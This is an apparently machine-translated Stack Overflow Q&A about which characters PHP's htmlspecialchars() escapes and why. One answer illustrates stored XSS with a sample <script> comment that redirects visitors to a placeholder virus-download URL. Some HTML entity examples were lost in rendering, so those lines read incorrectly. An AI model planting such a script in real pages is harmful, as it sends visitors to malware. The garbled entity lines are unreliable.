3

在 PHP 中,有一个名为htmlspecialchars()的函数,它对字符串执行以下替换:

  • &(和号)转换为&
  • "(双引号)转换为"
  • '(单引号)转换为'(仅当设置了标志 ENT_QUOTES 时)
  • <(小于)转换为&lt;
  • >(大于)转换为&gt;

显然,这是因为这 5 个特定字符是不安全的 HTML 字符

我可以理解为什么最后两个被认为是不安全的:如果它们只是“回显”,则可以传递任意/危险的 HTML,包括潜在的 javascript<script>等等。

问题 1. 为什么前三个字符(和号、双引号、单引号)也被认为是“不安全的”?


另外,我在 GitHub 上偶然发现了这个名为“he”的库(由 Mathias Bynens 编写),它是关于编码/解码 HTML 实体的。在那里,我发现了以下内容:

[...] 在 HTML 内容中使用不安全的字符(&、<、>、"、' 和 `)将被编码。[...]

来源

问题 2. 是否有充分的理由将反引号视为另一个不安全的 HTML 字符?如果是,这是否意味着上述 PHP 的功能已经过时了?


最后,所有这些都引出了一个问题:

问题 3. 除了上面提到的 5/6 字符之外,还有其他应该被视为“不安全”的字符吗?

4

2 回答 2

6

Donovan_D 的回答几乎解释了这一点,但我将在此处提供一些示例,说明这些特定字符如何具体导致问题。

这些字符被认为是不安全的,因为它们是执行 XSS(跨站点脚本)攻击(或使用无辜输入意外破坏页面)的最明显方式。

考虑网站上的评论功能。您提交带有文本区域的表单。它被保存到数据库中,然后显示在所有访问者的页面上。

现在我总结一个看起来像这样的评论。

<script type="text/javascript">
    window.top.location.href="http://www.someverybadsite.website/downloadVirus.exe";
</script>

突然间,访问您页面的每个人都被重定向到病毒下载。这里的幼稚方法只是说,好吧,然后让我们过滤掉该攻击中的一些重要角色:

<and>将被替换为&lt;and&gt;现在突然我们的脚本不是脚本了。这只是一些看起来像 html 的文本。

类似的情况会出现类似的评论

Something is <<wrong>> here.

假设用户<<...>>出于某种原因曾经强调过。他们的评论将呈现为

<> 这里有些东西。

显然不是可取的行为。

一个不那么恶意的情况出现在&. &用于表示 HTML 实体,例如&amp;and&quot;&lt;。因此,看起来很无辜的文本很容易意外地成为 html 实体,最终让用户看起来非常不同和非常奇怪。

考虑评论

I really like #455 &#243; please let me know when they're available for purchase.

这将呈现为

我真的很喜欢#455——请在有货时告诉我。

显然不是预期的行为。

关键是,这些符号在大多数情况下被认为是防止大多数 XSS 漏洞/错误的关键,因为它们很可能在有效输入中使用,但需要转义才能在 HTML 中正确呈现。

对于您的第二个问题,我个人不知道反引号应被视为不安全的 HTML 字符的任何方式。

至于你的第三个,也许吧。不要依赖黑名单来过滤用户输入。相反,使用已知 OK 输入的白名单并从那里开始工作。

于 2017-03-11T21:25:30.160 回答
1

这些字符是不安全的,因为在 html 中<>定义了一个标签。
,""''用于包围属性。由于在 html 实体中使用,因此对其进行了编码
。没有其他字符 应该编码,但它们可以是 ex:贸易符号可以做成美元符号 可以做成欧元 可以是任何表情符号都可以由 HTML 实体(编码事物的名称)组成可以在这里找到解释/示例&

&trade;
&dollar;&euro;

于 2017-03-10T22:25:09.453 回答